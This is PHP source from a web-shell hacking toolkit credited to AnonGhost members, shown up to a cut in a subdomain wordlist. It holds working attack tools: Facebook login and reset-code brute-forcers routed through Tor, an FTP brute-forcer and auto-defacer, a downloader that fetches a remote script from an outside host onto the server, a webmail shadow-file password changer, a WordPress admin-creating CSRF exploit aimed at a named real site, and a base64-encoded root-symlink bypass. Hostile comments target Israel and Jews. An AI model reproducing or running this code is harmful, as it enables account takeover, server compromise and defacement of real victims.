<a href="?action=respwdvic">Reset Facebook Password Victim</a> -
<a href="?action=brutfbckk">Facebook Multi-Account BruteForce</a> </b></center>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Facebook Multi-Account BruteForce</span><center><br>\';

ob_start();
@set_time_limit(0);
#################################################
#---------------------------------------------- #
# Facebook Brute Force 2014                     #
#Coded by : Mauritania Attacker&Noname-Haxor	#
#Greetz : All AnonGhost Members                 #
#This Tool Is For Erasing Israel in Fb          #
# --------------------------------------------- #
#################################################

echo "<form method=\'POST\'>
<center>Dont use this script without TOR BROWSER + TOR SWITCHER (set up the interval seconds from TOR SWITCHER TO 2 SECONDS)</center><br>
<p dir=\'ltr\' align=\'center\'>
<textarea cols=\'22\' class=\'area\'  rows=\'14\' name=\'username\'>Target Name</textarea> 
<textarea cols=\'22\' class=\'area\'  rows=\'14\' name=\'password\'>Password</textarea><br>
<br>
<input type=\'submit\' name=\'scan\' value=\'Start BruteForce\'><br></p><br>";
if(isset($_POST[\'scan\'])){
#function
function brute($user,$pass){
$ch = curl_init();      
curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/login.php?login_attempt=1");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$user}&pass={$pass}");
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125"); 
$login = curl_exec($ch);
//print_r($login);
$check = (eregi(\'class="s t i u"\',$login)) ? true:false;
if($check == true){
echo "<p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\'>Not the right one :(  || Username : <font color=\'red\'>$user</font>&nbsp;  Password : <font color=\'red\'>$pass</font></font></p>";
}else{
echo "<p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\'>This Password Seems Working !Try It ^_^ || Username: <font color=\'green\'>$user</font>&nbsp; Password : <font color=\'green\'>$pass</font></font></p>";
}
}             



	
$username = explode("
", $_POST[\'username\']);
$password = explode("
", $_POST[\'password\']);
	
	
foreach($username as $users) {
$users = @trim($users);
foreach($password as $pass) {
$pass = @trim($pass);
echo brute($users,$pass);
}
}
}
echo"<br>
<br>
<br>
<br>
<center><p><b><font size=\'2\' face=\'Trebuchet MS\' color=\'#007700\'>Coded by: Mauritania Attacker&Noname-Hax0r</font></b></p></center>";
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'scannner\'){
?>
<br><center><b class="cont" align="center">
<a href="?action=shellfnderr">Shell Finder</a><br><br>
<a href="?action=jcescnr">Jce Scanner</a><br><br>
<a href="?action=jcemultiscnner">JCE Multi-Uploader</a><br><br>
<a href="?action=portscnnre">Port Scanner</a><br><br>
<a href="?action=admnpgfndr">Admin Page Finder</a><br><br>
<a href="?action=srchffilsses">Search Files</a><br><br></center>
</b>
<?php
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'spammm\'){
?>
<br><center><b class="cont" align="center">
<a href="?action=maiilllerrr">Mailer</a><br><br>
<a href="?action=Everythingdawg">Everything You Need</a><br><br>
<a href="?action=payppallchker">Paypal Checker</a><br><br>
<a href="?action=emailllextrctr">Email Extractor</a><br><br></center>
</b>
<?php
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'fcbookk\'){
?>
<br><center><b class="cont" align="center">
<a href="?action=respwdvic">Reset Password Victim</a><br><br>
<a href="?action=brutfbckk">Facebook Multi-Account BruteForce</a><br><br>
</center>
</b>
<?php
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'Everythingdawg\'){
echo \'<center><b class="conte">
<a href="?action=maiilllerrr">Mailer</a> -
<a href="?action=Everythingdawg">Everything You Need</a> -
<a href="?action=payppallchker">Paypal Checker</a> -
<a href="?action=emailllextrctr">Email Extractor</a></center></b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Everything You Need</span><center><br>\';
echo\'
<center><iframe src="http://ug4all.com/binchecker/" width="900" height="600">Welcome Ghost</iframe>
</center>\';
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'respwdvic\'){
echo \'<center><b class="conte">
<a href="?action=respwdvic">Reset Facebook Password Victim</a> -
<a href="?action=brutfbckk">Facebook Multi-Account BruteForce</a>
</center></b>\';

@set_time_limit(0); 
echo "<form method=\'POST\'> 
<title>Facebook Code Security Cracker > By Mauritania Attacker</title> 
<p align=\'center\'> 
<img border=\'0\' src=\'http://onlinexploits.com/pirater-facebook-gratuitement/images/logo.png\' ></p> 
<center><font color=\'#007700\'> Use Tor Switcher and Choose Threads Ip ===> 3 seconds and Good Hack ^_^</center>
<style> 
/* Rounded Corners */ 
#ghost { 
border: 1px #765942; 
border-radius: 4px; 
height: 250px; 
width: 260px; 
color: #999999; font-size: 9pt; background-color:transparent; box-shadow: 0px 0px 4px #999999;    padding: 3px;   -webkit-border-radius: 4px;   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(228, 228, 228) 0px 0px 4px;   -moz-box-shadow: rgb(228, 228, 228) 0px 0px 4px;
} 
input { 
/* INPUTS */ 
border: 1px solid #765942; 
border-radius: 4px; } 
</style> 
<center><span style=\'font-size:30px; font-family:Fredericka the Great; color:#009900\'>Facebook 0day Exploit Reset Code Priv8</span></center><br>
<center><font color=\'#007700\'>Coded  By Mauritania Attacker</center><br>
<center><input type=\'text\' size=\'40\' name=\'id\' value=\'target ID\' ></center><br>
<center><textarea class=\'area\' cols=\'35\' rows=\'13\' name=\'code\'></textarea><br></center> <br>
<p><center><input type=\'submit\' value=\'Crack Reset Code\' name=\'scan\'><br><br></center></p>
</form>"; 
$target = $_POST[\'id\'];
$user = explode("
", $_POST[\'code\']); 
if($_POST[\'scan\']) 
{ 
foreach($user as $code) 
{ 
// Curl Function ^_^
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/recover/password?u={$id}&n={$code}&_rdr"); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);   
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/35.0.1916.114"); // change this with your real useragent infos (browser & version)

$check = curl_exec($ch); 
if(eregi("password_new", $check)) //Keyword Good Response ^_^
{ 
echo "<center><b><font face=\'Tahoma\' size=\'2\' color=\'green\'>{$code} => Facebook Confirmation Code Found ^_^ </font></center></b><br>"; 
} 
else 
{ 
echo "<center><b><font face=\'Tahoma\' size=\'2\' color=\'red\'>{$code} => Incorrect Code Trying More...</font></center></b><br>"; 
} 
curl_close($ch); 
} 
}
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'cpnlndftpotdfr\'){
echo \'<center><b class="conte">
<a href="?action=mass">Mass Deface Dirs</a> -
<a href="?action=joomla">Mass Change Admin Joomla</a> -
<a href="?action=vb">Mass Change Admin vBulletin</a> -
<a href="?action=wp">Mass Change Admin Mass WordPress</a> -
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
<a href="?action=joommlallainxc">Joomla Index Changer</a> -
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Cpanel & Ftp Auto Defacer</span><br>Coded  By Mauritania Attacker</center><br><center><img src="http://www6.0zz0.com/2014/08/20/15/449603437.png" /></center>\';
echo"<table width=\'100%\' cellspacing=\'0\' cellpadding=\'0\' class=\'tb1\' >
<td width=\'100%\' align=center valign=\'top\' rowspan=\'1\'><div class=\'hedr\'> 
<td height=\'10\' align=\'left\' class=\'td1\'></td></tr><tr><td 
width=\'100%\' align=\'center\' valign=\'top\' rowspan=\'1\'>
<font color=\'red\' face=\'comic sans ms\' size=\'1\'><b> 
<font color=\'RED\' face=\'gothic\' size=\'3\'></font><br>
<font color=\'white\'></font>
</table>";
 
echo"<body bgcolor=black><h6 style=\'text-align:center\'><font color=white>
<form method=post><font face=Tahoma size=2 color=#007700>
Server ip : &nbsp;<input type=text name=hi value=ip>&nbsp;
Username : &nbsp;<input type=text name=tx value=>&nbsp;
Password : &nbsp;<input type=text name=p value=><br><br>
file that you want to deface : </font><input type=text name=ph value=\'index.php\'><br><br>
<font face=Tahoma size=2 color=#009900>Deface page url --> </font><textarea class=\'area\' rows=\'1\' cols=\'75\' name=\'deface\' value=\'your daface page link\'></textarea><br><br>
<input type=submit name=sm value=\'Kill it Now\' /><br>
</form>";

if(isset($_POST[\'sm\']))
{
$ip=trim($_POST[\'hi\']);
$u=trim($_POST[\'tx\']);
$p=trim($_POST[\'p\']);
$d=trim($_POST[\'ph\']);
$df=trim($_POST[\'deface\']);
echo "<br><font color=white size=2>";
echo "<font color=red size=3>server ip ==></font>&nbsp".$ip;
echo "<br><font color=red size=3>user ==></font> &nbsp".$u;
echo "<br><font color=red size=3>password ==></font> &nbsp".$p;
echo "<br><font color=red size=3>dirctory ==></font> &nbsp".$d;
echo "<br><font color=red size=3>deface link ==></font><br>".$df."<br>";
$dl="public_html/".$d;
$si= ftp_connect($ip);

$try= ftp_login($si,$u,$p);
if ((!$si) || (!$try))
{
echo "<br>could not connect , hope u filled out all correctly :(";
exit;
}
else
{
echo "<br>connection done XD<br>Ghost ,its time to spin this shit<br>";
}
$deface = ftp_put($si, $dl , $df, FTP_BINARY);
if ($deface)
{
echo "hell yeah page got defaced successfully >";
}
else
{
echo "Ghost try manually :(";
}
}
}


if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'ftpbrtfrcee\'){

echo "<body text=\'#FFFFFF\' bgcolor=\'#000000\'>
<title>FTP Brute Force</title>
<p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'4\'>[#] FTP Brute Force [#]</font></p>
<form method=\'POST\'>
<center>
<p dir=\'ltr\'>
<input type=\'text\' name=\'ip\' value=\'127.0.0.1\'>
<input type=\'submit\' value=\'BruteFTP\' name=\'start\'><br>
<textarea cols=\'30\' rows=\'10\' name=\'username\'>users</textarea>
<textarea cols=\'30\' rows=\'10\' name=\'password\'>pass</textarea></p>
<p><font face=\'Verdana\' size=\'1\'>[+] ReSulT [+]</font></p>
</form>";
@set_time_limit(0);
$ip = $_POST[\'ip\'];
$username = explode("
",$_POST[\'username\']);
$password = explode("
",$_POST[\'password\']);
       
if($_POST[\'start\']) {
function brute($connect,$ip,$user,$pass)
{
$connect = ftp_connect($ip) or die("Error , Maybe you were Banned From Server");
if(ftp_login($connect, $user, $pass)) {
    echo "<p dir=\'ltr\'><font face=\'Tahoma\' size=\'2\'>Cracked :
<font color=\'#008000\'>$user</font>:<font color=\'#008000\'>$pass</font>@<font color=\'#008000\'>$ip</font></font></p>"; }
}
       
foreach($username as $user) {
foreach($password as $pass) {
brute($connect,$ip,$user,$pass);
} }
}
echo "<p><font face=\'Verdana\' size=\'1\'>
+------------------------------------------------------------------------------------------------------------+</font></p>
</form>";
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'whmcskillrer\'){
echo \'<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Generate WHMCS KILLER Script</span><center><br>\';
error_reporting(0);
echo "<form method=\'POST\'>
<title>WHMCS KILLER GENERATOR</title>
<p align=\'center\'> 
<img border=\'0\' src=\'http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif\'></p><br>
<center><font color=\'green\' size=\'2\' face=\'shell\'>Cwd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><input type=\'text\' size=\'40\' name=\'zero\' value=".dirname(__FILE__)." <font color=\'green\' size=\'8\' face=\'Tahoma\'></font></center><br>
<center><font color=\'green\' size=\'2\' face=\'shell\'>Script&nbsp;&nbsp;&nbsp;</font><input type=\'text\' size=\'40\' name=\'shell\' value=\'http://tny.cz/cd97a082/save.php?hash=f5388dca645d5a6cda8e78c52bdf6a8b\' <font color=\'green\' size=\'8\' face=\'Tahoma\'></font></center><br>

<p><center><input type=\'submit\' value=\'Generate Now\' name=\'start\' <font color=red\' face=\'Tahoma, Geneva, sans-serif\' style=\'font-size: 12pt\'></font></center></p><br>";
echo "<p><center><textarea class=\'area\' rows=\'12\' cols=\'60\' style=\'font-family: impact size: 2pt ; color: #00bb00; \'>Results Will Appear Here ^_^ 
";
if($_POST[\'start\']) {
$zero = $_POST[\'zero\'];
$file = $_POST[\'shell\'];

$dir = "whmcs"; 
if(file_exists($dir)) {
echo "[+] whmcs Folder Already Exist are you drunk :o xD !
";
} else {
@mkdir($dir); {
echo "[+] whmcs Folder Has Been Created Nygga :3 !
";
} 
}
#Generate WHMCS Script
$fopen = fopen("whmcs/whmcs.php",\'w\');
$shell = @file_get_contents($file);
$swrite = fwrite($fopen ,$shell);
if($swrite){
echo "WHMCS Script Has Been Downloaded : $zero/whmcs/whmcs.php 
";

} else {
echo "Can\'t Download Shell :( do it manually :D 
";
}
fclose($fopen);
}

echo "</textarea></center></p>";
$rt="<br><a href=whmcs/whmcs.php TARGET=\'_blank\'><b>
Link</b></a>"; 
echo "<center><br><br><font color=\'#009900\' size=\'1pt\'>Click on Button Generate Now and Check link given below for WHMCS Script<br>$rt</center>";
echo \'<p><center><font color="#00bb00" size="2pt">Generator Coded by Mauritania Attacker and Script Owner and Coder is RAB3OUN</font></center><br></p>\';
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'webmllllpwdchnger\'){
echo \'<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>\';
echo "<br><center><span style=\'font-size:30px; font-family:Fredericka the Great; color:#009900\'> Webmail Pass Changer</span><br><br>
<center><form method=\'POST\'>
<h4>Change Password webmail</h4><h4>
User : <input type=\'text\' name=\'user\' size=\'40\' /><br />
Path : <input type=\'text\' name=\'path\' size=\'40\'  /><br /><br /></h4>
<input type=\'submit\' name=\'start\' value=\'Change Password\' />
</form></center>";
@error_reporting();
/*
@NetDevr
*/
if($_POST[\'start\'])
{
$user = $_POST[\'user\'];
$path = @chdir($_POST[\'path\']);
$pass = "lov3rdns";
$lov3r = @base64_decode(\'JGFwcjEkdkNJWmRBXzEkRWhzcEhSWUZ4R24wcTBiZzRVeS9VLg==\');
$array = @array(\'$user\',\'$lov3r\');
$imp = @implode(\':\',$array);
$dns = @file_put_contents(\'shadow\',$imp);
if($dns)
{
echo \'<h4><center>Password is <font color="red">\'.$pass.\'</font> .. <br />
Email is <font color="red">\'.$user.\'@\'.$_SERVER[\'SERVER_NAME\'].\'</font><br />
Panel is <font color="red">http://webmail.\'.$_SERVER[\'SERVER_NAME\'].\'</font>
Or <font color="red">http://\'.$_SERVER[\'SERVER_NAME\'].\':2096</font><br />
<font color="blue">./x3</font></h4></center>\';
}else
{
  echo \'<h4><center>File Not Found</h4></center>\';
}
 
}
echo\'
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<center>
<b># Discovery : r0kin</b><br />
<b># Coder     : Lov3rDns</b>
</center>\';
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'wpcdrfex\'){
echo \'<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>\';
echo "<br><center><span style=\'font-size:30px; font-family:Fredericka the Great; color:#009900\'>Wordpress 0day CSRF All Versions</span><br>Coded By Mauritania Attacker<br></center>";
echo "<center><img border=\'0\' src=\'http://www13.0zz0.com/2014/08/23/17/367667552.png\'></center><br>
<input type=\'hidden\' name=\'action\' value=\'createuser\'/>
<input type=\'hidden\' name=\'_wpnonce_create-user\' value=\'code\'/>
<input type=\'hidden\' name=\'_wp_http_referer\' value=\'/wp-admin/user-new.php\'/>
<center><input type=\'text\' size=\'38\' face=\'tahoma\' name=\'victim\' value=\'http://www.liguedefensejuive.com\'/><font color=\'#00bb00\'> Target Website</center></font><br>
<center><input type=\'text\' size=\'30\' face=\'tahoma\' name=\'user_login\' value=\'yehudikalb\'/> Choose Username To Add</center><br>
<input type=\'hidden\' name=\'email\' value=\'[email protected]\'/>
<input type=\'hidden\' name=\'first_name\' value=\'kalb\'/>
<input type=\'hidden\' name=\'last_name\' value=\'yehudi\'/>
<input type=\'hidden\' name=\'url\' value=\'http://google.co.il\'/>
<center><input type=\'text\' size=\'30\' face=\'tahoma\' name=\'pass1\' value=\'lolo133*\'/> Choose Password To Add</center><br>
<center><input type=\'text\' size=\'30\' face=\'tahoma\' name=\'pass2\' value=\'lolo133*\'/> Confirm Password To Add</center></p><br>
<input type=\'hidden\' name=\'role\' value=\'administrator\'/>
<input type=\'hidden\' name=\'createuser\' value=\'Add+New+User+\'/>
<center><textarea class=\'area\' cols=\'43\' rows=\'6\' id=\'ghost\' name=\'code\'></textarea><br><br></center> 
<p><center><input type=\'submit\' value=\'Inject wpnonce Token\' name=\'scan\'><br><br></center></p>
</form>";

if(isset($_POST)  && !empty($_POST)){

$victim = $_POST[\'victim\'];
$user_login = $_POST[\'user_login\'];
$pass1 = $_POST[\'pass1\'];
$pass2 = $_POST[\'pass2\'];
$curl="http://www.liguedefensejuive.com/wp-admin/user-new.php";
$_wpnonce_create = explode("
",$_POST[\'_wpnonce_create-user\']);



$user = explode("
", $_POST[\'code\']); 
    if($_POST[\'scan\']) 
{ 
    foreach($_wpnonce_create as $code) 
    {
    
 
function brute($code) {
global $victim,$user_login,$pass1,$pass2,$ch,$curl;

$ch = curl_init(); 
curl_setopt($ch,CURLOPT_URL,"$victim/wp-admin/user-new.php");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/35.0.1916.114"); 
curl_setopt($ch,CURLOPT_POSTFIELDS,"user=$user_login&passi=$pass1&passii=$pass2&_wpnonce_create=code=&redirect_to=.$victim./author/$user_login");

$check = curl_exec($ch);
if(eregi(\'$user_login\',$check)) {
			echo "<p><font face=\'Verdana\' size=\'1\'>[+] Username Has Been Successfully Added  : <font color=\'#008000\'>$user_login = $victim</font></p>";
		}
		
		else 
            { 
                echo "<font face=\'Tahoma\' size=\'2\' color=\'red\'> => Incorrect Code Trying More...</font><br>"; 
            } 
			}

	foreach($user_login as $user) {
	foreach($pass1 as $passi) {
	foreach($pass2 as $passii) {
	brute($code);
		} } } 


curl_close($ch); 
} 
} }
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'rootshelleexecbpass\'){
echo \'<center><b class="conte">
<a href="?action=grasy">Bypass /etc/passwd</a> -
<a href="?action=nemcon">Bypass Users Server</a> -
<a href="?action=cgipl">Bypass Perl Security</a> -
<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
<a href="?action=bforb">Bypass system function</a> -
<a href="?action=rootexecbpass">Bypass With exec Function</a> -
<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
<a href="?action=posget">Bypass posix_getpwuid</a> -
<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
<a href="?action=setphr">Bypass suPHP Security</a> -
<a href="?action=simpelb">Simple Bypasser</a> -
<a href="?action=ritf">Read Files</a> -
<a href="?action=baidir">Bypass Chmod Directory</a> -
<a href="?action=forb14">Bypass Forbidden 2014</a> -
<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
</b>\';

echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Root Path With shell_exec Function</span><center><br>\';
mkdir(\'shellexcexce\', 0755);
chdir(\'shellexcexce\');
$shellexcexce = \'PGhlYWQ+DQo8dGl0bGU+QnlwYXNzIEJ5cGFzcyBSb290IFBhdGggYnkgTWF1cml0YW5pYSBBdHRhY2tlcjwvdGl0bGU+DQo8L2hlYWQ+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vYy91L2N1MWJtcGdiMWsuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPjwhLS0gYm9keSB7YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IGZvbnQtZmFtaWx5OkNvdXJpZXIJbWFyZ2luLWxlZnQ6IDBweDsgbWFyZ2luLXRvcDogMHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IE5ldztmb250LXNpemU6MTJweDtjb2xvcjojMDA4ODAwO2ZvbnQtd2VpZ2h0OjQwMDt9IGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSBhOmxpbmsge2NvbG9yOiMwMDk5MDA7fSBhOnZpc2l0ZWQge2NvbG9yOiMwMDg4MDA7fSBhOmhvdmVye2NvbG9yOiMwMGJiMDA7fSBhOmFjdGl2ZSB7Y29sb3I6IzAwOTkwMDt9IC0tPjwhLS0gTWFkZSBCeSBNYXVyaXRhbmlhIEF0dGFja2VyIC0tPg0KPC9zdHlsZT48YnI+PGJyPjxib2R5IGJnQ29sb3I9IjAwMDAwMCI+PHRyPjx0ZD48P3BocCBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJz4iIDsgDQplY2hvICI8Y2VudGVyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdCeXBhc3MgaXQnIG5hbWU9J3NoZWxsX2V4ZWNlcic+PC9jZW50ZXI+IjsgDQppZiAoaXNzZXQoJF9QT1NUWydzaGVsbF9leGVjZXInXSkpeyBzaGVsbF9leGVjKCdsbiAtcyAvIHJvb3Qtc2hlbGxfZXhlYy50eHQnKTsgDQokZnZja2VtID0nVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCemMzTnpjM011YUhSdERRcEJaR1JVZVhCbElIUjRkQ0F1Y0dod0RRcEJaR1JJWVc1a2JHVnlJSFI0ZENBdWNHaHcnOyANCiRmaWxlID0gZm9wZW4oIi5odGFjY2VzcyIsIncrIik7ICR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGZ2Y2tlbSkpOyAkc2hlbGxfZXhlY2VyID0gc3ltbGluaygiLyIsInJvb3Qtc2hlbGxfZXhlYy50eHQiKTsgDQokcnQ9Ijxicj48YSBocmVmPXJvb3Qtc2hlbGxfZXhlYy50eHQgVEFSR0VUPSdfYmxhbmsnPjxmb250IGNvbG9yPSMwMGJiMDAgc2l6ZT0yIGZhY2U9J0NvdXJpZXIgTmV3Jz48Yj5CeXBhc3NlZCBTdWNjZXNzZnVsbHk8L2I+PC9mb250PjwvYT4iOyANCmVjaG8gIjxicj48YnI+PGI+RG9uZS4uICE8L2I+PGJyPjxicj5DaGVjayBsaW5rIGdpdmVuIGJlbG93IGZvciAvIGZvbGRlciBzeW1saW5rIDxicj4kcnQ8L2NlbnRlcj4iO30gZWNobyAiPC9mb3JtPiI7ICA/PjwvdGQ+PC90cj48L2JvZHk+PC9odG1sPg==\';

$file = fopen("shellexcexce.php" ,"w+");
$write = fwrite ($file ,base64_decode($shellexcexce));
fclose($file);
chmod("shellexcexce.php",0755);
echo "<iframe src=shellexcexce/shellexcexce.php width=60% height=60% frameborder=0></iframe>";
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'subdomainchkrezes\'){
echo \'<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Subdomain Checker</span><center><br>\';
echo\'<html><body><center></br>
<form method="post">
<input type="text" name="site" size="30" placeholder="Example.com">
<input type="submit" value="Bypass">
</form>
</font>\';


set_time_limit(0);
$subs = array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","lan","phpmyadmin","administrator","mape","isp","shop","rex","podcast","potraga","sensation","igre","foo","api","access","ulaz","pam","sport","pretraga","pricaonica","kuvar","raketa","wwwmobile","s1","s2","foro","s3","box","open","abc","phpbb3","phpbb2","internet","phpbb","whm","mysql","webadmin","adm","admin","admins","agent","aix","recnik","alerts","av","antivirus","app","apps","appserver","archive","as400","auto","backup","banking","bbdd","bbs","bea","beta","blog","catalog","cgi","channel","channels","chat","cisco","client","clients","club","cluster","clusters","code","commerce","community","compaq","conole","consumer","contact","contracts","corporate","ceo","cso","cust","customer","cpanel","data","bd","db2","default","demo","cms","design","desktop","dev","develop","developer","device","dial","digital","dir","directory","disc","discovery","disk","dns","dns1","dns2","dns3","docs","poslovi","prijemni","znanje","mojtim","documents","domain","domains","dominoweb","download","downloads","ecommerce","e-commerce","edi","edu","education","email","enable","engine","engineer","enterprise","slike","galerija","error","event","events","example","exchange","extern","external","extranet","fax","field","finance","firewall","forum","forums","fsp","ftp","ftp2","fw","fw1","gallery","galleries","games","gateway","gopher","guest","gw","hello","helloworld","help","helpdesk","arkiva","lajme","faqe","helponline","hp","ibm","ibmdb","ids","ILMI","film","navigator","nalog","prodavnica","zdravlje","reklamiranje","zivot","images","imap","pomoc","imap4","img","imgs","info","intern","internal","intranet","invalid","iphone","ipsec","irc","ircserver","jobs","ldap","link","linux","lists","listserver","local","localhost","log","logs","login","lotus","mail","mailboxes","mailhost","result","management","manage","manager","map","maps","marketing","device","media","member","members","messenger","mngt","mobile","monitor","multimed